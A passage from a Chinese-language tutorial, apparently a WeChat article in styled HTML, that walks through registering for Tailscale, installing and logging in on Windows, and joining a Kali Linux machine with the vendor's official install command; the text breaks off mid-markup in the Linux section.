&#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.6888888888888889" title="null" data-type="png" data-w="630" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=a615eb06&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795NoSUwL2r4So4LSLicQP0rbibCVOibbwcyUablhg8tMTXnCAMroyiblEGDISnkKELOqFjc4vY3XHLCyA%2F640%3Fwx_fmt%3Dpng"/></figure><h1 style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 2em auto 1em;padding: 0px 1em;border-bottom: 2px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">Tailscale基础使用</h1><h2 style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding: 0px 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">账户注册</h2><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">首先进入官网(<a href="https://tailscale.com/)，通过点击" target="_blank">https://tailscale.com/)，通过点击</a><code style="text-align: left;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;word-break: break-all;">Use Tailscale for free</code>进行注册，其中提供了三种登录方式，这里随便使用一种即可。</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.575353871773522" title="null" data-type="png" data-w="1201" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=5257dfca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795NoSUwL2r4So4LSLicQP0rbwPUw7iaicoiau2rlbpHYC6rILneH7FMZmeiba5vUAGDy9whnL9RH3tScPA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">当登录后，会出现下图的页面。其中Machines中可以查看当前虚拟局域网中存在的主机。</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.4011627906976744" title="null" data-type="png" data-w="2408" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=03e0aa48&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795NoSUwL2r4So4LSLicQP0rbZzzNPk8nKOlWRRlciakeb10E6nMyAaB9ibv53eNXKVGvRHH5p9t7DEDA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">接下来点击Download下载对应的程序，这里以Windows为例</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.38822355289421157" title="null" data-type="png" data-w="2004" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=cefab0ee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795NoSUwL2r4So4LSLicQP0rbMXxTaAoUp9Ysata9542pXCUOQXGRTeB0BKlDOqaCvNBdjZ8WL82JEQ%2F640%3Fwx_fmt%3Dpng"/></figure><h2 style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding: 0px 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">程序安装</h2><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">下载完毕后对其进行安装。</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.6123076923076923" title="null" data-type="png" data-w="975" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=b02eff32&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795NoSUwL2r4So4LSLicQP0rbibuBRia56kGP94wHHicJrGGHDNWY3y2HREedAlD3ghQ2XmkrT5pWG2G3A%2F640%3Fwx_fmt%3Dpng"/></figure><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.6183628318584071" title="null" data-type="png" data-w="904" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=4cf43988&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795NoSUwL2r4So4LSLicQP0rbaGMpLeEgrv4ZDhQibonFLqhLSgqGicmicxawv3Hq2icAQoVFibCVfJ4Lcew%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">安装完成后程序会出现在<code style="text-align: left;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;word-break: break-all;">C:\Program Files\Tailscale</code>文件夹中。</p><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">通过点击<code style="text-align: left;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;word-break: break-all;">tailscale-ipn.exe</code>即可打开程序。当运行程序后，会以小图标的方式显示在状态栏下方。</p><h2 style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding: 0px 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">设备接入</h2><h3 style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin: 2em 8px 0.75em 0px;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">Windosw设备接入</h3><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.451171875" title="null" data-type="png" data-w="512" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=91cba49c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795NoSUwL2r4So4LSLicQP0rb6rXZXolVY8sJcFtTgLcsusicd5oHTdAPq2T4gksia7CETSC1aWKmy3lg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">这里点击Log in 会调用浏览器打开登录窗口。之后进行登录。</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.5235650956602893" title="null" data-type="png" data-w="2143" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=b50ef775&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795NoSUwL2r4So4LSLicQP0rbNQjz0TUDgZ1TX0toYBwjZHhtay9hx24Rcfia6RxTQKarHD30AdVGoSw%2F640%3Fwx_fmt%3Dpng"/></figure><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.4211309523809524" title="null" data-type="png" data-w="1344" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=82b32a75&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795NoSUwL2r4So4LSLicQP0rbCzcgrmIpRiaaoCu1BLErqgeu8icXFxhMudMicT9lRf4t5iaAhUsT5oRSkQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">登录完毕后，当前主机被接入虚拟局域网。右边的ip是当前主机在虚拟局域网的地址：</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.49157581764122893" title="null" data-type="png" data-w="2018" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=d24ede80&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795NoSUwL2r4So4LSLicQP0rbaXxEQia5arW6Vl0RzvHmicLTz7iatdibeasaYy7siaCTNROHsU4VddhlvtA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">回到主页可以看到这里已经增加了一台设备：</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.4584717607973422" title="null" data-type="png" data-w="2107" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=94bb6a5b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795NoSUwL2r4So4LSLicQP0rbZmllVhEfExObKDicwfkIUfpfuAk8b5ibVl0oQia7I03YeNC2fkNBPD2icA%2F640%3Fwx_fmt%3Dpng"/></figure><h3 style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin: 2em 8px 0.75em 0px;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">Linux设备接入</h3><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">接下来我们接入第二台设备，第二台设备使用Kali进行接入。用来模拟linux环境下的接入过程。Linux的安装相对简单，利用下面的一行命令即可完成对Tailscale的安装：</p><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="text-align: left;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;word-break: break-all;">curl -fsSL <a href="https://tailscale.com/install.sh" target="_blank">https://tailscale.com/install.sh</a> | sh</code></p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.8648409893992933" title="null" data-type="png" data-w="1132" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=d58cafe9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795NoSUwL2r4So4LSLicQP0rbt6KzcMU3l0iavu4zB9cxy4HeaZKwibYJGfPUwdU2elFer4Ac90kdCI4Q%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: 